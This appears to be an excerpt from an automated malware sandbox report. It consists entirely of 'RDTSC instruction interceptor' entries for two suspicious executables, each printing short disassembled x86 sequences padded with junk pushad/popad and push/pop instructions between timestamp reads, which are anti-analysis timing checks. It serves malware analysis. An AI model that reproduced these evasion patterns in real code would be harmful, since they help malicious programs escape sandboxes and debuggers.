Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7BC3CC second address: 7BC3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C0141 second address: 7C015D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C015D second address: 7C0163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C0163 second address: 7C0184 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF88929ECB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop ecx 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C0184 second address: 7C0189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C6AE0 second address: 7C6AF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C7807 second address: 7C780D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C780D second address: 7C7819 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C7819 second address: 7C781D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C7AE7 second address: 7C7AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECBAh 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C7AF5 second address: 7C7AFB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C7AFB second address: 7C7B00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7C7B00 second address: 7C7B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 79107E second address: 791082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7915ED second address: 791652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jng 00007FF888DC1EA4h 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FF888DC1E98h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push D7280100h 0x00000030 pushad 0x00000031 jne 00007FF888DC1EA8h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 791652 second address: 791656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7917BC second address: 7917C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7917C0 second address: 7917F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b mov dword ptr [ebp+124591F7h], eax 0x00000011 pushad 0x00000012 sbb ax, 2B7Eh 0x00000017 jbe 00007FF88929ECBAh 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pushad 0x00000023 popad 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7920C4 second address: 7920CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D042C9 second address: D042CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07752 second address: D07756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07756 second address: D0775C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D0775C second address: D0776A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FF888DC1E98h 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07899 second address: D078B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FF88929ECC9h 0x0000000b jmp 00007FF88929ECBDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07A12 second address: D07A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FF888DC1EA5h 0x0000000b jmp 00007FF888DC1EA5h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07A49 second address: D07A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECC8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07A65 second address: D07A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07A71 second address: D07ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FF88929ECC7h 0x0000000d pushad 0x0000000e jmp 00007FF88929ECC7h 0x00000013 jmp 00007FF88929ECC2h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07EDE second address: D07EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07EE4 second address: D07EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECBDh 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07EF9 second address: D07F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF888DC1E96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D07F05 second address: D07F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D0E42B second address: D0E42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D0E42F second address: D0E43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FF88929ECC2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D17373 second address: D17377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D17377 second address: D1737B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D1737B second address: D1738D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FF888DC1E96h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D154A0 second address: D154A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D154A6 second address: D154B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FF888DC1E96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D15AE0 second address: D15AE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D15AE6 second address: D15AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D15DCF second address: D15DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D15DD3 second address: D15DDD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF888DC1E96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D169D0 second address: D169DF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF88929ECB6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D169DF second address: D169E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D169E4 second address: D169F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FF88929ECDFh 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D169F5 second address: D16A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 792285 second address: 79228A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 79228A second address: 7922A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jne 00007FF888DC1E9Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 792423 second address: 792427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 792427 second address: 77A948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a lea eax, dword ptr [ebp+12485CDDh] 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FF888DC1E98h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a jg 00007FF888DC1E9Bh 0x00000030 nop 0x00000031 jmp 00007FF888DC1E9Dh 0x00000036 push eax 0x00000037 jmp 00007FF888DC1EA4h 0x0000003c nop 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007FF888DC1E98h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 mov dword ptr [ebp+122D19F7h], edi 0x0000005d call dword ptr [ebp+122D1E06h] 0x00000063 je 00007FF888DC1EADh 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D1C863 second address: D1C880 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC1h 0x00000007 js 00007FF88929ECBEh 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D1EFCE second address: D1EFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D1EFD4 second address: D1EFD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D2E532 second address: D2E55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FF888DC1EA3h 0x00000011 popad 0x00000012 jbe 00007FF888DC1E9Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D2E55A second address: D2E574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007FF88929ECBAh 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push edx 0x00000012 je 00007FF88929ECBCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D30DD8 second address: D30DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push esi 0x00000008 jbe 00007FF888DC1E96h 0x0000000e pop esi 0x0000000f push ebx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D308A5 second address: D308AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D308AD second address: D308B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D308B2 second address: D308C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF88929ECBAh 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D36CDF second address: D36CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D3EC38 second address: D3EC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D40958 second address: D4095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D473D5 second address: D473E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF88929ECBBh 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D473E6 second address: D47402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D47402 second address: D47408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D47408 second address: D4740C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D4740C second address: D4742F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jmp 00007FF88929ECC3h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D4742F second address: D4744A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D4744A second address: D47457 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D476DE second address: D476ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007FF888DC1E96h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D476ED second address: D476F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7CB929 second address: 7CB92D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D304C second address: 7D3052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D3052 second address: 7D3057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D3057 second address: 7D3071 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF88929ECC2h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF88929ECBAh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D8C60 second address: 7D8C83 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FF888DC1EA9h 0x00000010 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D8F68 second address: 7D8F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC0h 0x00000007 jl 00007FF88929ECB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D926A second address: 7D9270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D9270 second address: 7D9275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D966B second address: 7D9674 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D9674 second address: 7D968C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 jmp 00007FF88929ECBCh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D968C second address: 7D9696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF888DC1E96h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7D9DD8 second address: 7D9DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7DBBBB second address: 7DBC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF888DC1EA5h 0x0000000a pushad 0x0000000b jp 00007FF888DC1E96h 0x00000011 jmp 00007FF888DC1E9Ch 0x00000016 jng 00007FF888DC1E96h 0x0000001c popad 0x0000001d jmp 00007FF888DC1E9Ah 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FF888DC1EA9h 0x0000002a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7DFE25 second address: 7DFE51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF88929ECC0h 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7DFFD6 second address: 7DFFE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7DFFE0 second address: 7DFFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF88929ECB6h 0x0000000a jp 00007FF88929ECB6h 0x00000010 popad 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7DFFF6 second address: 7DFFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7E0425 second address: 7E0434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FF88929ECBAh 0x0000000a rdtsc
